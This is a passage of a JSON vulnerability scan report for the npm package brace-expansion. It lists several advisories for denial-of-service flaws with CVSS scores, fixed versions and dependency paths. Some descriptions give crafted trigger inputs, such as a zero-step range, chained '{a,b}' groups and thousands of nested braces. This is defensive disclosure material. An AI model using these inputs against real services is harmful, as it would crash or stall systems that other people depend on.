"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
